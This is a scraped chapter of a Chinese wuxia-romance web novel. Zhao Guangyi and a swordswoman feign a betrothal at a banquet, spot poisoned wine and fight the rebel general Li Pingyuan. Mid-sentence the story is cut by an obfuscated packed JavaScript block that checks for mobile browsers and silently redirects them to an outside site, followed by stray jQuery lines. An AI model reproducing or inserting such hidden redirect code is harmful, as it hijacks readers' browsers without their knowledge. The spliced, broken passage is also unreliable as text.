第七章·金错刀,侠骨香(二)
“蒲先生和摘星手的传闻?”
她摇摇头,随意抓了几本车马里的书,大多是圣贤之术,说着什么之乎者也,大道精简之谈,她是不感兴趣的,一直觉得这些书不过是车轱辘话来来回回讲,透过字眼,也只尝遍几个“修身”“进德”“天下平”的真理。
惊叹一声,连忙抄着一本书,指着上面的文辞,习着那句读,对赵光义道:“这话我就不喜欢。”
赵光义自幼饱读诗书惯了,对先人所传世之书,自然会抱着接受的态度,提出自己的见解进行批注,却不会质疑。而今,他看着她神采飞扬,抬眼瞅着他,指着那上面的工整之文,表情不悦。
“少侠为何这么认为?”赵光义“哦”了一声,挑眉坏笑。
她以指点江山的姿态,似乎眼前的人只是江湖中的草芥之辈,并非堂堂开封尹,丝毫不顾赵光义心里是如何想的。
“俗话说,有人的地方就有江湖,那天下之大,人多了去了,人多的地方是非矛盾就多了,单靠自身内修、外在规劝谈何容易?”她抱着佩剑,哼了一声,“依我看,还是以五石之瓠浮于江湖之上好!”
车马摇摇晃晃,穿过金门水街,穿过乡野小路,路过梨花纷纷落,雪白飞入车里,少些沾染在她的眉睫和鼻尖上,赵光义目光沉沉地看着她,不知为何,一直循规蹈矩的他,竟然生出一些大逆不道之思——嗯......浮于江湖之上,逍遥自在,无忧无虑。
但庙堂中人,死不得其所,生不得所求。
赵光义好像始终挣脱不了披于身上的枷锁,是世道让他坐于如此之高。他也有贪欲渴求,他不愿下去,又怕其他人上来。
他的江湖和她的江湖不一样。他的江湖多的是生杀予夺,她的江湖多的是行侠仗义。他的江湖多的是浮浮沉沉,她的江湖多的是嚣嚣迢迢。
“少侠,世间万般不得已,并无什么‘好’与‘坏’。世道也,人心亦然。”赵光义从她手中抢过那书,装作若无其事地放到一旁,转了话题,“在得知喜事宴传信之时,我便在府里查过李平远这人,近些日子在淮北颇有举兵之意,想必,这喜事宴不单单是说媒这么简单。”
她耐心听着,手中把玩着佩剑,一拉一抽,一抽一拉。
赵光义继续道:“前些年官家释其兵权,奈何未等淮北军镇作出回应,北方战事又起,官家御驾亲征,托我作监国。许是官家忘嘱咐,又或者开封府事务繁多,惹得我也有些忘了,淮北军镇之事便一直耽搁。若不是这喜事宴,恐怕我亦不曾记起。总而言之,今日少侠在此,事关重大,情急之下,拔剑相助,乃明智之举。”
“我不。”她反驳道,将视线转向窗外,车马一路浩荡,马上就到御苑了。
“少侠,先前不是说好的吗?”赵光义细心哄着。
“你要做将生死置之度外之事,请不要拉着我趟这破泼浑水。”她语气不屑,十分义正词严,惹得赵光义很是恼火,但也只能浮于心间。
赵光义皱眉:“少侠,这叫权衡。”
“这叫心狠手辣!”
“权衡之道,仁义之术!”
“玉面蛇心!”
“至少本官还配有个玉面,多谢少侠肯定。”
“赵光义,你无耻!”
“少侠怎么这么不会说话?”
“你!”
......
在两人争吵之时,车马便停在了御苑前。两人下车,却意外地沉默,又很有默契地往宝津楼前去。
李平远那队车马还未到,出于礼数,赵光义便和她一起,站在高台上,极目远眺。不多时,她看到了远处那浩浩荡荡的队伍,显然,赵光义也看到了,似乎有着天下可运于掌的胸有成竹,赵光义笑了笑,趁着她不注意,将她抱上白玉精雕细琢而成的阑轩。
突然失重,让她倒吸一口凉气,下意识地抓住赵光义月白色劲装的衣襟,很快又反应过来,抬手欲要扇赵光义一掌,却被他反手握住她的手腕。
气息难得紊乱片刻,趁着这个时机,她瞅见赵光义的眼眸越过自己,转向身后的那队风霜之伍,又再次转向她,指尖抚上她的脸,朗声地道:“我要娶你,绝非妄言。早在多年之前我便决定,要以日月为证,以兵马为聘,换宋境山河日久、太平长安,换你如素白明月,皎然入我怀。你敢答应吗?”
我要娶你,绝非妄言。
她能感受到埋在胸口内的那颗心正不平稳地跳起,和她的气息一般,急促、强烈。
以日月为证,以兵马为聘。
她凝望着他的眉眼,傲骨、锋利,带着点少年意气,带着点文人风骨,带着点指天誓日的胸怀与勇气。
换宋境山河日久、太平长安,换你如素白明月,皎然入我怀。
她一时脑袋混沌,分不清他说的这些话究竟是名义上的装模作样,还是真的带着点儿不由分说的真心。她甚至分不清现在站在她眼前,眉目柔和的人,究竟是温润如玉的晋中原还是权势滔天的赵光义。
你敢答应吗?
九鼎之言,亦难承受。她微微往后仰头,却被赵光义拉过。她的额头紧贴他的肩膀,能感受到他的手臂环过她的双肩,明明指尖都没碰到,可她依然心神俱休。
“李将军到了。”他若无其事地松开怀抱,收敛起方才佯装的一往情深,转身拾级而上,直抵宝津楼楼口,才转身看向依旧愣在原地的她。
“少侠,”他唤她,“走了!”
她这才幡然醒悟,明白方才赵光义所说的话不过是追名逐利,演给李平远所看的戏码。她竟傻得差点儿就信了,若不是赵光义催促她,恐怕她依然身陷囹圄,无法自拔,不分虚实。
进了宝津楼,楼中侍女带着赵光义和她落座于包房中,等待片刻,包房之中有进了一人,那人自称是李平远身旁的幕僚,托李将军之名前来送淮北最名贵的酒给赵光义。
淮北之地,酿酒并不好。
身为宾客,最不可能用淮北的酒来献礼。
她神色如常地接过酒,将其放在桌上。
听闻包房外传来脚步声,哐啷一声,大门被人打开。李平远一身轻铠甲胄,落座于赵光义的对面,上下打量着她和赵光义。
良久,只听李平远轻声一笑:“京尹大人,今日这般模样,可是不给李某面子啊!”
而赵光义直接大方出击:“李将军明知本官有家室,偏执意说媒,当心败坏淮北李氏之名声。”
“是吗?”李平远用眼神示意方才那幕僚为众人倒酒,“我怎么不知道京尹大人的心上人竟是不知名姓的江湖中人。李某早听闻,京尹大人腹有诗书,没想到竟娶不识字文的草莽为妻,实在是有失风骨礼数。”
她第一次遇到这个场面,听到李平远诋毁自己,还顺便阴阳怪气赵光义,她气不打一处来,正想开口反驳,却被赵光义微微抬手拦下。他平静地扣住她的指尖,指腹有意无意地摩挲着她的手背,示以安抚,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495617|185929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也是警醒。
“李将军真是不识抬举,开封府从不养无用之人。”赵光义攥紧她的手,用力地攥紧,似乎用了全身力气,怕她跑走一样,“夫人低眸则博学笃志,抬眼则持剑高歌,纵不谙儒之礼法,也归道之无为。”
见李平远的神色愈加猖狂恼怒,赵光义也不加掩饰,直白坦然地道:“娶她为妻,天经地义。”
见争不过赵光义,李平远便退一步海阔天空,举杯敬酒,并介绍这幕僚送来的酒乃淮北特产。她低头看了看酒色,并不醇香。她喝过寒姨酿的离人泪,酒色远比这个醇。
由此,她心中便知,这酒中有诈,要么掺了水,要么掺了药。掺水证明李平远对开封府心思敷衍,掺药证明李平远想置赵光义于死地。
她正想抬头用眼神示意他,却看到赵光义仰头举杯,将杯中酒一饮而尽。
紧接着,她就看到李平远得逞的表情。
眼前一抹银白。
有诈!
她眼疾手快地用佩剑抵住那飞镖,而后一把掀开桌布,桌上摆着的酒器皆扬起,如灰尘般朝着李平远的面门飞来。
那幕僚拔出他的刀,一一劈碎这些酒器,踩着零落的碎片抬脚落于她的身后。她急忙转身,却撞上李平远的枪口,于是只好将头一仰,躲过这蓄力一击。
但那幕僚好像早就料到她会这样,赶忙转身,横着那刀就往赵光义的面门砍去。她心叫不好,虽然再讨厌赵光义,也不肯让这人白白死在这帮逆徒的刀下,却在电光石火之间,啷当一响,一把链剑横空而出,缠住这幕僚的手,将手中的刀碎于地面。
赵光义十分知礼数地将口中含着的酒重新吐入杯中,而后一抽链剑,缠住那幕僚的脖颈,将他拉向自己。
“可是官家赏赐不够?”
闻言,见她抬手,佩剑同链剑一起,一同朝李平远袭来。李平远手握长枪,身后的侍卫依次散开,皆都朝二人袭来。
今日出门一切从简,简单喜事宴罢了,故没带什么侍卫,只凭两人抵挡一队侍卫,敌众我寡,可她却丝毫不慌,似乎十分有信心,将其一网打尽。
“可是淮北军镇财税吃紧?”
李平远退至一旁,却被佩剑拦住去路,下一秒,链剑扫开他的甲胄,划开一道锋利的口子,鲜血潺潺流出。
“若都不是,为何这般?想要史书书佞你?想宋境干戈又起?想乱世称王,篡位夺权?”赵光义冷笑一声,“那你错了,天子脚下,岂非小人之徒敢登高殿?!”
李平远嘶吼一声,摇摇晃晃地站起身,持枪的手颇有横扫千军如卷席之力,朝赵光义的眼眸刺去——赵光义瞳孔骤然睁大,躲闪不及,却被佩剑挑开,她风雨不动安如山,矗立于赵光义眼前。
那时,赵光义便决定好了,从假戏真做那一刻起便决定好了——明知她心千金难求,可他偏要娶她,娶她的天真烂漫,娶她的纵马扬鞭,娶她的来去如风,莫不用三书六礼,以容华盛世,以太平长安,明媒正娶,问鼎天下。
“小人之徒?”李平远捧腹大笑,“大人扪心问问,这天下可是如何夺来的?说李某小人,大人不妨想想,若不是你兄长承袭小人之计,有你现如今权倾朝野的荣华富贵吗?!”
“你怎敢这样说兄长?!”赵光义握着链剑的手发抖,“兄长黄袍加身后,未杀一兵一卒,不过是缴了前朝兵权,以稳民心,宋境恐不多时又陷入刀戟相向、民不聊生之局!”
“可我淮北李氏,不奉小人之君!”